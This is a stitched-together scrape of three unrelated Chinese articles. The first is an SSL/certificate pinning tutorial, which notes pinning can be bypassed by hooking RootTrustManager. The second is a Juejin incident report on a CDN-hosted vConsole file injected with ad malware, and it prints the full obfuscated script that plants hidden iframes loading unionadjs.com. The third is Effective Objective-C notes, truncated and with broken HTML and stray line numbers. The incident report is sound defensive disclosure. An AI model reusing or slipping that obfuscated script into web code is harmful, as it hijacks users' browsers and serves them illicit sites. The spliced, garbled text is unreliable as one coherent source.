F7574756265656475636174696F6E2E636F6D820F796F75747562656B6964732E636F6D820579742E6265
 1792:d=4  hl=2 l=33 cons: SEQUENCE
 1794:d=5  hl=2 l=3 prim: OBJECT            :X509v3 Certificate Policies
 1799:d=5  hl=2 l=26 prim: OCTET STRING      [HEX DUMP]:30183008060667810C010202300C060A2B06010401D679020503
 1827:d=4  hl=2 l=51 cons: SEQUENCE
 1829:d=5  hl=2 l=3 prim: OBJECT            :X509v3 CRL Distribution Points
 1834:d=5  hl=2 l=44 prim: OCTET STRING      [HEX DUMP]:302A3028A026A0248622687474703A2F2F63726C2E706B692E676F6F672F475453314F31636F72652E63726C
 1880:d=4  hl=4 l=260 cons: SEQUENCE
 1884:d=5  hl=2 l=10 prim: OBJECT            :1.3.6.1.4.1.11129.2.4.2
 1896:d=5  hl=3 l=245 prim: OCTET STRING      [HEX DUMP]:0481F200F0007600B21E05CC8BA2CD8A204E8766F92BB98A2520676BDAFA70E7B249532DEF8B905E000001742A06F9BD000004030047304502205BB262C173701DC2F4D182C34760FA693875B409B650DA2DBE966D80CB6EE9C8022100CFD52D39644158ED44F23ABE9B4746304D8CAB6A2D75DA92F0187E6688485A0D007600E712F2B0377E1A62FB8EC90C6184F1EA7B37CB561D11265BF3E0F34BF241546E000001742A06F9D2000004030047304502200B69DB8E9756FB698955FA04BF8467C80E7D22C2F364CD36DACDD72F52D1562B022100925882AA2314AAB3009F53A47D93CE377FCB2FCA6C1E563D4716ACEBF264E087
 2144:d=1  hl=2 l=13 cons: SEQUENCE
 2146:d=2  hl=2 l=9 prim: OBJECT            :sha256WithRSAEncryption
 2157:d=2  hl=2 l=0 prim: NULL
 2159:d=1  hl=4 l=257 prim: BIT STRING

再看看RFC5280的定义:

Certificate  ::=SEQUENCE  {
        tbsCertificate       TBSCertificate,
        signatureAlgorithm   AlgorithmIdentifier,
        signatureValue       BIT STRING  }

   TBSCertificate  ::=SEQUENCE  {
        version         [0]  EXPLICIT Version DEFAULT v1,
        serialNumber         CertificateSerialNumber,
        signature            AlgorithmIdentifier,
        issuer               Name,
        validity             Validity,
        subject              Name,
        subjectPublicKeyInfo SubjectPublicKeyInfo,
        issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,
                             -- If present, version MUST be v2 or v3

第二行就是TBSCertificate的位置和长度,真正用来计算摘要的部分,偏移是4,hl=4表示header长度是4,l=2136表示内容长度是2136,总长度是2140,我们用dd提取出这部分,并对输出结果做SHA256摘要:

dd if=/Users/shunix/Downloads/\*.google.com.cer of=/Users/shunix/tmp/tbs skip=4 bs=1 count=2140
openssl dgst -sha256 ~/tmp/tbs

输出如下:

SHA256(/Users/shunix/tmp/tbs)=cd55ba8e69bcc9a1c2aaba552982abd5519051f5708cb6f9885cd3a7d28cd505

而上面我们用公钥解出来的摘要去掉前面的

0x1ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff003031300d060960864801650304020105000420

最后结果也是cd55ba8e69bcc9a1c2aaba552982abd5519051f5708cb6f9885cd3a7d28cd505,二者完全一致,说明最终实体证书没有被篡改过。
而中间证书和根证书的校验也是同样的过程,这里就不赘述。根证书是自签名的,甚至都可以不用签名,因为根证书是内置到系统里的。
CA之所以不直接从根证书发布最终实体证书是因为这样风险太大,一旦出现错误发布容易导致根证书不受信任,所以CA会从根证书发布中间证书,再从中间证书发布最终实体证书,完成自我隔离。当然,根证书也是有不被信任的先例的,比如Firefox和Chrome在2015年移除了对CNNIC根证书的信任,具体原因就不细讲了。

SSL PINNING

综上所述,有几种情况SSL是无法保证安全的:

  1. 某些wifi或者网站要求装个根证书才能继续使用,比如某订票网站
  2. 被信任的CA随意发布证书,比如赛门铁克,17年居然发布了example.com的证书,挺缺德的

所以客户端提供了一种额外的机制来保证HTTPS通信的安全,SSL Pinning,SSL Pinning又可以细分为Certificate Pinning和Public Key Pinning。

CERTIFICATE PINNING

Certificate Pinning也就是证书锁定,简单来说就是把证书文件打包进安装包,通过加载本地证书自定义TrustManager,进而创建自定义的SSLSocketFactory来完成的,这里贴一些关键代码:

fun loadCertificate(): Certificate {
    // 假设证书放在assets下
    return BaseApplication.instance.assets
        .open("shunix.cert").use { input ->
        CertificateFactory.getInstance("X.509").generateCertificate(input)
    }
}

fun getTrustManager(): TrustManager {
    val keyStore=KeyStore.getInstance(KeyStore.getDefaultType()).apply {
        setCertificateEntry("shunix", loadCertificate())
    }
    return TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm()).run {
        init(keyStore)
        trustManagers[0]
    }
}

fun getSSLSocketFactory(): SSLSocketFactory {
    val sslContext=SSLContext.getInstance("TLS").apply {
        init(null, arrayOf(getTrustManager()), null)
    }
    return sslContext.socketFactory
}

FALLBACK策略

内置证书的方案存在一个问题,证书是会过期的,一般最终实体证书也就是一年的有效期,而中间证书和根证书有效期都是10年左右,超过绝大多数应用的生命周期了,所以一个比较简单的做法是同时内置中间证书或者根证书作为子证书过期的应对方案。中间证书和根证书一般都是同一个机构的,所以选哪一个并没有本质的区别,但是这样在安全性上会有一定的妥协,可以参考前面提到的赛门铁克和CNNIC证书,当根证书不被信任,一样会出问题,还有就是如果更换证书的CA也是做不到的,局限性很大。


那么能不能只内置最终实体证书,同时能解决有效期的问题呢?很自然地会想到动态更新本地证书,那就带来了另一个问题,如何保证本地证书更新的安全性呢?这是一个鸡生蛋蛋生鸡的问题,其实不讲究点,更新证书的请求可以直接走没有证书锁定的HTTPS完成,因为HTTPS被劫持本身就是小概率情况。如果追求完美的话,有一个比较麻烦的解决方案,就是再打包一个自签名的证书到安装包,锁定这个自签名的证书来更新最终实体证书,自签名证书有效期可以自定义,定的足够长就好,当然服务端也需要做相应改造,是否需要这么严格的安全策略就看业务场景了。

PUBLIC KEY PINNING

Certificate Pinning实现过于繁琐,同时局限性比较大,所以就有了锁定Subject Public Key Info的实现。申请过证书的都知道,需要提供算法和公钥,即使更换新证书,这两个东西也是可以保持不变的,Android 7.0以上提供了非常方便的实现,只需要在res/xml/network_security_config.xml里加如下配置:

<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config>
        <domain includeSubdomains="true">example.com</domain>
        <pin-set expiration="2018-01-01">
            <pin digest="SHA-256">7HIpactkIAq2Y49orFOOQKurWxmmSFZhBCoQYcRhJ3Y=</pin>
            <!-- backup pin -->
            <pin digest="SHA-256">fwza0LRMXouZHRC8Ei+4PyuldPDcf3UKgO/04cDM1oE=</pin>
        </pin-set>
    </domain-config>
</network-security-config>

可以参考Android官方文档:https://developer.android.com/training/articles/security-config#CertificatePinning
这里pin的是Base64编码后的Subject Public Key Info(SPKI)的哈希,具体生成方法可以参考Mozilla的文档:https://developer.mozilla.org/en-US/docs/Web/HTTP/Public_Key_Pinning#Extracting_the_Base64_encoded_public_key_information

FALLBACK策略

虽然基于公钥的锁定不存在证书过期的问题,但依然需要fallback策略,因为可能存在私钥泄漏的情况下,这种情况下需要重新发布证书,公钥私钥都会改变。Android允许pin多个SPKI,只要符合一个就能正常通信,所以这里可以pin几个CA的根证书或者中间证书的SPKI,会损失一点安全性,但是为私钥泄漏的情况留下了操作空间。

结语

即使做了SSL Pinning,依然有HTTPS被劫持,内容被篡改的可能,比如对于证书锁定的方式,可以直接替换掉apk里的证书,再做重打包,对于公钥锁定的方式,可以通过hook RootTrustManager的方式直接绕过验证。
服务端需要在业务上对客户端请求做验证,只依靠机制上的安全是不够的,道高一尺魔高一丈,客户端和服务端应该互不信任,对于输入需要做足够的校验,这并不是一种overhead。


作者:SHUNIX

出处:https://shunix.com/ssl-pinning/

周,团队里有个小伙伴负责的一个移动端项目在生产环境上出现了问题,虽然最终解决了,但我觉得这个问题非常典型,有必要在这里给广大掘友分享一下。

起因

生产上有客户反馈在支付订单的时候,跳转到微信支付后,页面就被毙掉了,无法支付。而且无法支付这个问题还不是所有用户都会遇到,只是极个别的用户会遇到。

查找问题

下面是排查此问题时的步骤:

  1. review代码,代码逻辑没问题。
  2. 分析反馈问题的用户画像,发现他们都是分布在不同省域下面的,不是发生在同一个地区,完全没有规律可循。
  3. 偶然间,发现有一段代码逻辑有问题,就是移动端调试工具库vConsole这个悬浮图标,代码逻辑是只有在生产环境才显示,其它环境不显示。至于为啥在生产环境上把调试工具展示出来的问题,不是本文的重点~,这里就不多赘述了,正常来说vConsole的悬浮图标这东西也不会影响用户操作,没怎么在意。
  4. 然而最不在意的内容,往往才是导致问题的关键要素。
  5. 发现vConsole不是通过安装依赖包的方式加载的,而是在index.html页面用script标签引入的,而且引用的地址还是外部开源的第三方cdn的地址,不是公司内部cdn的地址。
  6. 于是开始针对这个地址进行排查,在一系列令绝大部分掘友目瞪口呆的操作下,终于定位到问题了。这个开源的cdn地址提供的vConsole源代码有问题,里面注入了一段跟vConsole代码不相关的恶意脚本代码。

有意思的是,这段恶意脚本代码不会一直存在。同样一个地址,原页面刷新后,里面的恶意脚本代码就会消失。

感兴趣的掘友可以在自己电脑上是试一试。vConsole地址 注意,如果在PC端下载此代码,要先把模拟手机模式打开再下载,不然下载的源码里不会有这个恶意脚本代码。

下面的截图是我在pc端浏览器上模拟手机模式,获取到的vConsole源码,我用红框圈住的就是恶意代码,它在vConsole源码文件最下方注入了一段恶意代码(广告相关的代码)。

这些恶意代码都是经过加密的,把变量都加密成了十六进制的格式,仅有七十多行,有兴趣的掘友可以把代码拷贝到自己本地,尝试执行一下。

全部代码如下:

var _0x30f682=_0x2e91;
(function(_0x3a24cc, _0x4f1e43) {
    var _0x2f04e2=_0x2e91
      , _0x52ac4=_0x3a24cc();
    while (!![]) {
        try {
            var _0x5e3cb2=parseInt(_0x2f04e2(0xcc)) / 0x1 * (parseInt(_0x2f04e2(0xd2)) / 0x2) + parseInt(_0x2f04e2(0xb3)) / 0x3 + -parseInt(_0x2f04e2(0xbc)) / 0x4 * (parseInt(_0x2f04e2(0xcd)) / 0x5) + parseInt(_0x2f04e2(0xbd)) / 0x6 * (parseInt(_0x2f04e2(0xc8)) / 0x7) + -parseInt(_0x2f04e2(0xb6)) / 0x8 * (-parseInt(_0x2f04e2(0xb4)) / 0x9) + parseInt(_0x2f04e2(0xb9)) / 0xa * (-parseInt(_0x2f04e2(0xc7)) / 0xb) + parseInt(_0x2f04e2(0xbe)) / 0xc * (-parseInt(_0x2f04e2(0xc5)) / 0xd);
            if (_0x5e3cb2===_0x4f1e43)
                break;
            else
                _0x52ac4['push'](_0x52ac4['shift']());
        } catch (_0x4e013c) {
            _0x52ac4['push'](_0x52ac4['shift']());
        }
    }
}(_0xabf8, 0x5b7f0));

var __encode=_0x30f682(0xd5)
  , _a={}
  , _0xb483=[_0x30f682(0xb5), _0x30f682(0xbf)];

(function(_0x352778) {
    _0x352778[_0xb483[0x0]]=_0xb483[0x1];
}(_a));

var __Ox10e985=[_0x30f682(0xcb), _0x30f682(0xce), _0x30f682(0xc0), _0x30f682(0xc3), _0x30f682(0xc9), 'setAttribute', _0x30f682(0xc6), _0x30f682(0xd4), _0x30f682(0xca), _0x30f682(0xd1), _0x30f682(0xd7), _0x30f682(0xb8), _0x30f682(0xb7), _0x30f682(0xd3), 'no-referrer', _0x30f682(0xd6), _0x30f682(0xba), 'appendChild', _0x30f682(0xc4), _0x30f682(0xcf), _0x30f682(0xbb), '删除', _0x30f682(0xd0), '期弹窗,', _0x30f682(0xc1), 'jsjia', _0x30f682(0xc2)];

function _0x2e91(_0x594697, _0x52ccab) {
    var _0xabf83b=_0xabf8();
    return _0x2e91=function(_0x2e910a, _0x2d0904) {
        _0x2e910a=_0x2e910a - 0xb3;
        var _0x5e433b=_0xabf83b[_0x2e910a];
        return _0x5e433b;
    }
    ,
    _0x2e91(_0x594697, _0x52ccab);
}

window[__Ox10e985[0x0]]=function() {
    var _0x48ab79=document[__Ox10e985[0x2]](__Ox10e985[0x1]);
    _0x48ab79[__Ox10e985[0x5]](__Ox10e985[0x3], __Ox10e985[0x4]),
    _0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x6]]=__Ox10e985[0x8],
    _0x48ab79[__Ox10e985[0x7]][__Ox10e985[0x9]]=__Ox10e985[0x8],
    _0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xa]]=__Ox10e985[0xb],
    _0x48ab79[__Ox10e985[0x7]][__Ox10e985[0xc]]=__Ox10e985[0x8],
    _0x48ab79[__Ox10e985[0xd]]=__Ox10e985[0xe],
    _0x48ab79[__Ox10e985[0xf]]=__Ox10e985[0x10],
    document[__Ox10e985[0x12]][__Ox10e985[0x11]](_0x48ab79);
}
,
function(_0x2492c5, _0x10de05, _0x10b59e, _0x49aa51, _0x2cab55, _0x385013) {
    _0x385013=__Ox10e985[0x13],
    _0x49aa51=function(_0x2c78b5) {
        typeof alert !==_0x385013 && alert(_0x2c78b5);
        ;typeof console !==_0x385013 && console[__Ox10e985[0x14]](_0x2c78b5);
    }
    ,
    _0x10b59e=function(_0x42b8c7, _0x977cd7) {
        return _0x42b8c7 + _0x977cd7;
    }
    ,
    _0x2cab55=_0x10b59e(__Ox10e985[0x15], _0x10b59e(_0x10b59e(__Ox10e985[0x16], __Ox10e985[0x17]), __Ox10e985[0x18]));
    try {
        _0x2492c5=__encode,
        !(typeof _0x2492c5 !==_0x385013 && _0x2492c5===_0x10b59e(__Ox10e985[0x19], __Ox10e985[0x1a])) && _0x49aa51(_0x2cab55);
    } catch (_0x57c008) {
        _0x49aa51(_0x2cab55);
    }
}({});

function _0xabf8() {
    var _0x503a60=['http://www.sojson.com/javascriptobfuscator.html', 'createElement', '还请支持我们的工作', 'mi.com', 'src', 'body', '16721731lEccKs', 'width', '1450515IgSsSQ', '49faOBBE', 'https://www.unionadjs.com/sdk.html', '0px', 'onload', '3031TDvqkk', '5wlfbud', 'iframe', 'undefined', '版本号,js会定', 'height', '394HRogfN', 'referrerPolicy', 'style', 'jsjiami.com', 'sandbox', 'display', '2071497kVsLsw', '711twSQzP', '_decode', '32024UfDDBW', 'frameborder', 'none', '10ZPsgHQ', 'allow-same-origin allow-forms allow-scripts', 'log', '1540476RTPMoy', '492168jwboEb', '12HdquZB'];
    _0xabf8=function() {
        return _0x503a60;
    }
    ;
    return _0xabf8();
}


我在自己电脑上把这段代码执行了一下,其实在页面上用户是无感的,因为创建的标签都是隐藏起来的,只有打开调试工具才能看出来。

打开浏览器调试工具,查看页面dom元素:

打开调试工具的网络请求那一栏,发送无数个请求,甚至还有几个socket链接...:

这就是为什么微信支付会把页面毙掉的原因了,页面只要加载了这段代码,就会执行下面这个逻辑:

  1. 页面加载后,代码自动执行,在页面中创建一个iframe标签,然后把https://www.unionadjs.com/sdk.html地址放进去。
  2. 随后在iframe标签中会无限制地创建div标签(直到你的浏览器崩溃!)。
  3. 每个div标签中又会创建一个iframe标签,而src会被分配随机的域名,有的已经打不开了,有的还可以打开,其实就是一些六合彩和一些有关那啥的网站(懂的都懂~)。

强大的ChatGPT

在这里不得不感叹ChatGPT的强大(模型训练的好),我把这段加密的代码直接输入进去,它给我翻译出来了,虽然具体逻辑没有翻译出来,但已经很好了。

下面这个是中文版的:

总结

下面是我对这次问题的一个总结:

  1. 免费的不一定是最便宜的,也有可能是最贵的。
  2. 公司有自己的cdn依赖库就用公司内部的,或者去官网去下载对应的依赖,开源的第三方cdn上的内容慎重使用。
  3. 技术没有对和错,要看使用它的是什么人。


作者:娜个小部呀
链接:https://juejin.cn/post/7343691521601781760

近在重温这本OC经典之作《Effective Objective-C 2.0编写高质量iOS与OS X代码的52个有效方法》,这篇文章算是重温之后的产物吧,读完这篇文章你将快速读完这本书,由于个人能力有限,难免有一些遗漏或者错误,请各位看官不吝赐教!谢谢!同时如果有任何问题也可以在下方留言,欢迎一起交流进步!另外由于篇幅原因,书中一些基础知识的介绍文中就省略掉了。

目录

上面就是这本书的目录,可以点击这里下载PDF版,原版英文版PDF我也有存~

第一章:熟悉Objective-C

第一条:了解Objective-C语言的起源

  1. Objective-C从Smalltalk语言是从Smalltalk语言演化而来,

    Smalltalk是消息语言的鼻祖。

  2. Objective-C是C语言的超集,在C语言基础上添加了面向对象等特性,可能一开始接触时你会觉得语法有点奇怪,那是因为Objective-C使用了动态绑定的消息结构,而Java,C++等等语言使用的是函数调用。

  3. 消息结构与函数调用的关键区别在于:函数调用的语言,在编译阶段由编译器生成一些虚方法表,在运行时从这个表找到所要执行的方法去执行。而使用了动态绑定的消息结构在运行时接到一条消息,接下来要执行什么代码是运行期决定的,而不是编译器。

第二条: 在类的文件中尽量少引用其他头文件

  1. 如果需要引用一个类文件时,只是需要使用类名,不需要知道其中细节,可以用@class xx.h,这样做的好处会减少一定的编译时间。如果是用的#import全部导入的话,会出现a.h import了b.h,当c.h 又import a.h时,把b.h也都导入了,如果只是用到类名,真的比较浪费,也不够优雅

  2. 有时候无法使用@class向前声明,比如某个类要遵循一项协议,这个协议在另外一个类中声明的,可以将协议这部分单独放在一个头文件,或者放在分类当中,以降低引用成本。

第三条:多用字面量语法,少用与之等价的方法

1.多使用字面量语法来创建字符串,数组,字典等。

传统创建数组方法:

1
2
3
4
NSArray *languages=[NSArray arrayWithObjects:@"PHP", @"Objective-C", someObject, @"Swift", @"Python", nil];
NSString *Swift=[languages objectAtIndex:2];
NSDictionary *dict=[NSDictionary dictionaryWithObjectsAndKeys:@"key", @"value", nil];
NSString *value=[languages objectForKey:@"key"];

字面量:

1
2
3
4
NSArray *languages=@[@"PHP", @"Objective-C", someObject, @"Swift", @"Python"];
NSString *Swift=languages[2];
NSDictionary *dict=@{@"key" : @"value"};
NSString *value=languages[@"key"];

这样做的好处:使代码更简洁,易读,也会避免nil问题。比如languages数据中 someObject 如果为nil时,字面量语法就会抛出异常,而使用传统方法创建的languages数组值确是@[@"PHP", @"Objective-C"];因为字面量语法其实是一种语法糖,效果是先创建了一个数组,然后再把括号中的对象都加到数组中来。

不过字面量语法有一个小缺点就是创建的数组,字符串等等对象都是不可变的,如果想要可变的对象需要自己多执行一步mutableCopy,例如

1
NSMutableArray *languages=[@[@"PHP", @"Objective-C", @"Swift", @"Python"] mutableCopy];

第四条:多用类型常量,少用#define预处理指令

第4条第5条看这里

第五条:多用枚举表示状态、选项、状态码

第4条第5条看这里

第二章:对象、消息、运行期

第六条:理解“属性”这一概念

这一条讲的是属性的基本概念,以及属性的各种修饰符,这些就不多啰嗦了,这里强调一下:

  1. 定义对外开放的属性时候尽量做到暴露权限最小化,不希望被修改的属性要加上readonly。

  2. atomic 并不能保证多线程安全,例如一个线程连续多次读取某个属性的值,而同时还有别的线程在修改这个属性值得时候,也还是一样会读到不同的值。atomic 的原理只是在 setter and getter 方法中加了一个@synchronized(self),所以iOS开发中属性都要声明为nonatomic,因为atomic严重影响了性能,但是在Mac OSX上开发却通常不存在这个性能问题

  3. 说一下下面的哪个属性声明有问题

1
2
3
4
@property (nonatomic, strong) NSArray *arrayOfStrong;
@property (nonatomic, copy) NSArray *arrayOfCopy;
@property (nonatomic, strong) NSMutableArray *mutableArrayOfStrong;
@property (nonatomic, copy) NSMutableArray *mutableArrayOfCopy;

具体运行示例点击查看

答案是正常应该这样声明

1
2
@property (nonatomic, copy) NSArray *arrayOfCopy;
@property (nonatomic, strong) NSMutableArray *mutableArrayOfStrong;

第七条:在对象内部尽量直接访问实例变量

  1. 在类内读取属性的数据时,应该通过直接实例变量来读,这样不经过Objecit-C的方法派发,编译器编译后的代码结果是直接访问存实例变量的那块内存中的值,而不会生成走方法派发的代码,这样的速度会更快。

  2. 给属性写入数据时,应该通过属性的方式来写入,这样会调用setter 方法。但是在某种情况下初始化方法以及dealloc方法中,总是应该直接通过实例变量来读写数据,这样做是为了避免子类复写了setter方法造成的异常。

  3. 使用了懒加载的属性,应该一直保持用属性的方式来读取写入数据。

第八条:理解“对象等同性”这一概念

思考下面输出什么?

1
2
3
4
5
NSString *aString=@"iphone 8";
NSString *bString=[NSString stringWithFormat:@"iphone %i", 8];
NSLog(@"%d", [aString isEqual:bString]);
NSLog(@"%d", [aString isEqualToString:bString]);
NSLog(@"%d", aString==bString);

答案是110

==操作符只是比较了两个指针,而不是指针所指的对象

第九条:以“类族模式”隐藏实现细节

为什么下面这段if 永远为false

1
2
3
4
id maybeAnArray=@[];
if ([maybeAnArray class]==[NSArray class]) {
//Code will never be executed
}

因为[maybeAnArray class] 的返回永远不会是NSArray,NSArray是一个类族,返回的值一直都是NSArray的实体子类。大部分collection类都是某个类族中的’抽象基类’

所以上面的if想要有机会执行的话要改成

1
2
3
4
id maybeAnArray=@[];
if ([maybeAnArray isKindOfClass [NSArray class]) {
//Code probably be executed
}

这样判断的意思是,maybeAnArray这个对象是否是NSArray类族中的一员

** 使用类族的好处:可以把实现细节隐藏再一套简单的公共接口后面 **

第十条:在既有类中使用关联对象存放自定义数据

这条讲的是objc_setAssociatedObject和objc_getAssociatedObject,如何使用在这里就不多说了。值得强调的一点是,用关联对象可能会引入难于查找的bug,毕竟是在runtime阶段,所以可能要看情况谨慎选择

第十一条:理解“objc_msgSend”的作用

之前在了解Objective-C语言的起源有提到过,Objective-C是用的消息结构。这条就是让你理解一下怎么传递的消息。

  1. 在Objective-C中,如果向某个对象传递消息,那就会在运行时使用动态绑定(dynamic binding)机制来决定需要调用的方法。但是到了底层具体实现,却是普通的C语言函数实现的。这个实现的函数就是objc_msgSend,该函数定义如下:

1
void objc_msgSend(id self, SEL cmd, ...)

这是一个参数个数可变的函数,第一参数代表接收者,第二个参数代表选择子(OC函数名),后续的参数就是消息(OC函数调用)中的那些参数

  1. 举例来说:

1
id return =[git commit:parameter];

上面的Objective-C方法在运行时会转换成如下函数:

1
id return =objc_msgSend(git, @selector(commit), parameter);

objc_msgSend函数会在接收者所属的类中搜寻其方法列表,如果能找到这个跟选择子名称相同的方法,就跳转到其实现代码,往下执行。若是当前类没找到,那就沿着继承体系继续向上查找,等找到合适方法之后再跳转 ,如果最终还是找不到,那就进入消息转发的流程去进行处理了。

  1. 说过了OC的函数调用实现,你会觉得消息转发要处理很多,尤其是在搜索上,幸运的是objc_msgSend在搜索这块是有做缓存的,每个OC的类都有一块这样的缓存,objc_msgSend会将匹配结果缓存在快速映射表(fast map)中,这样以来这个类一些频繁调用的方法会出现在fast map 中,不用再去一遍一遍的在方法列表中搜索了。

  2. 还有一个有趣的点,就是在底层处理发送消息的时候,有用到尾调用优化,大概原理就是在函数末尾调用某个不含返回值函数时,编译器会自动的不在栈空间上重新进行分配内存,而是直接释放所有调用函数内部的局部变量,然后直接进入被调用函数的地址。

第十二条:理解消息转发机制

关于这条这看看这篇文章:iOS理解Objective-C中消息转发机制附Demo

第十三条:用“方法调配技术”调试“黑盒方法”

这条讲的主要内容就是 Method Swizzling,通过运行时的一些操作可以用另外一份实现来替换掉原有的方法实现,往往被应用在向原有实现中添加新功能,比如扩展UIViewController,在viewDidLoad里面增加打印信息等。具体例子可以点击我查看

第十四条:理解“类对象”的用意

Objective-C类是由Class类型来表示的,它实际上是一个指向objc_class结构体的指针。它的定义如下:

1
typedef struct objc_class *Class;

在中能看到他的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
struct objc_class {
Class isa OBJC_ISA_AVAILABILITY; ///< 指向metaClass(元类)
#if !__OBJC2__
Class super_class OBJC2_UNAVAILABLE; ///< 父类
const char *name OBJC2_UNAVAILABLE; ///< 类名
long version OBJC2_UNAVAILABLE; ///< 类的版本信息,默认为0
long info OBJC2_UNAVAILABLE; ///< 类信息,供运行期使用的一些位标识
long instance_size OBJC2_UNAVAILABLE; ///< 该类的实例变量大小
struct objc_ivar_list *ivars OBJC2_UNAVAILABLE; ///< 该类的成员变量链表
struct objc_method_list **methodLists OBJC2_UNAVAILABLE; ///< 方法定义的链表
struct objc_cache *cache OBJC2_UNAVAILABLE; ///< 方法缓存
struct objc_protocol_list *protocols OBJC2_UNAVAILABLE; ///< 协议链表
#endif
} OBJC2_UNAVAILABLE;

此结构体存放的是类的“元数据”(metadata),例如类的实例实现了几个方法,具备多少实例变量等信息。

这里的isa指针指向的是另外一个类叫做元类(metaClass)。那什么是元类呢?元类是类对象的类。也可以换一种容易理解的说法:

  1. 当你给对象发送消息时,runtime处理时是在这个对象的类的方法列表中寻找

  2. 当你给类发消息时,runtime处理时是在这个类的元类的方法列表中寻找

我们来看一个很经典的图来加深理解:

可以总结为下:

  1. 每一个Class都有一个isa指针指向一个唯一的Meta Class

  2. 每一个Meta Class的isa指针都指向最上层的Meta Class,这个Meta Class是NSObject的Meta Class。(包括NSObject的Meta Class的isa指针也是指向的NSObject的Meta Class,也就是自己,这里形成了个闭环)

  3. 每一个Meta Class的super class指针指向它原本Class的 Super Class的Meta Class (这里最上层的NSObject的Meta Class的super class指针还是指向自己)

  4. 最上层的NSObject Class的super class指向 nil

第三章:接口与API设计

第十五条:用前缀避免命名空间冲突

Objective-C没有类似其他语言那样的命名空间机制(namespace),比如说PHP中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
<!--?php
namespace Root\Sub\subnamespace;</pre--><p>这就会导致当你不小心实现了两个相同名字的类,或者把两个相对独立的库导入项目时而他们又恰好有重名的类的时候该类所对应的符号和Meta Class符号定义了两次。所以很容易产生这种命名冲突,让程序的链接过程中出现出现重复的符号造成报错。</p><p>为了避免这种情况,我们要尽量在类名,以及分类和分类方法上增加前缀,还有一些宏定义等等根据自己项目来定吧</p><p><span style="font-size: 20px;"><strong>第十六条:提供“全能初始化方法”</strong></span></p><p>如果创建类的实例的方式不止一种,那么这个类就会有多个初始化方法,这样做很好,不过还是要在其中选定一个方法作为全能初始化方法,剩下的其余的初始化方法都要调用它,这样做的好处是以后如果初始化的逻辑更改了只需更改一处即可,或者是交给子类覆写的时候也只覆写这一个方法即可~</p><p>举个例子来说:可以看一下NSDate的实现在NSDate.h中NSDate类中定义了一个全能初始化方法:</p><pre class="brush:js;toolbar:false">- (instancetype)initWithTimeIntervalSinceReferenceDate:(NSTimeInterval)ti NS_DESIGNATED_INITIALIZER;</pre><p>其余的类似初始化方式定义在NSDate (NSDateCreation) 分类中</p><pre class="brush:js;toolbar:false">- (instancetype)initWithTimeIntervalSinceNow:(NSTimeInterval)secs;
- (instancetype)initWithTimeIntervalSince1970:(NSTimeInterval)secs;
- (instancetype)initWithTimeInterval:(NSTimeInterval)secsToBeAdded sinceDate:(NSDate *)date;</pre><p>在NSDate文档中有一条:If you want to subclass NSDate to obtain behavior different than that provided by the private or public subclasses, you must do these things:然后其中要做的有一步就是</p><pre class="brush:js;toolbar:false">Override [initWithTimeIntervalSinceReferenceDate:
](apple-reference-documentation://hcslylvSCo), one of the designated initializer methods`</pre><p>这个是我们组织代码过程中应该学习的地方!</p><p><span style="font-size: 20px;"><strong>第十七条:实现description方法</strong></span></p><p>这条讲的是可以通过覆写description方法或者debugDescription方法来在NSLog打印时或者LLDB打印时输出更多的自定义信息。(数据和字典的可以通过覆写descriptionWithLocale:方法)</p><p>友情提示:不要在description中使用 NSLog("%@",self);,不然会掉进无底深渊啊</p><p>这里我有一个有趣的想法,不过还没完全实现,就是想通过覆写description能把任何一个对象的属性值名称,属性值都一一完整的记录下来,<a href="https://github.com/maligh/ML-Objective-C-Demo/tree/master/MLDescription" target="_blank">可以点击查看</a></p><p><span style="font-size: 20px;"><strong>第十八条:尽量使用不可变对象</strong></span></p><p>这条主要讲尽量使用不可变的对象,也就是在对外属性声明的时候要尽量加上readonly修饰,默认是readwrite,这样一来,在外部就只能读取该数据,而不能修改它,使得这个类的实例所持有的数据更加安全。如果外部想要修改,可以提供方法来进行修改。</p><p>不要把可变的collection作为属性公开,而应提供相关方法,以此修改对象中的可变collection(这条个人感觉一般在常用、重要的类才有必要,毕竟也增加了不少代码量)</p><p>比如例子:</p><pre class="brush:js;toolbar:false;">//Language.h
@property (nonatomic, strong) NSSet *set;</pre><p>应该改为</p><pre class="brush:js;toolbar:false">//Language.h
@property (nonatomic, strong, readonly) NSSet *languages;
- (void)addLanguage:(NSString *)language;
- (void)removeLanguage:(NSString *)language;
//**.m
@implementation Language {
NSMutableSet *mutableLanguages;
}
- (NSSet *)languages {
return [_mutableLanguages copy];
}
- (void)addLanguage:(NSString *)language {
[_mutableLanguages addObject:language];
}
- (void)removeLanguage:(NSString *)language {
[_mutableLanguages removeObject:language];
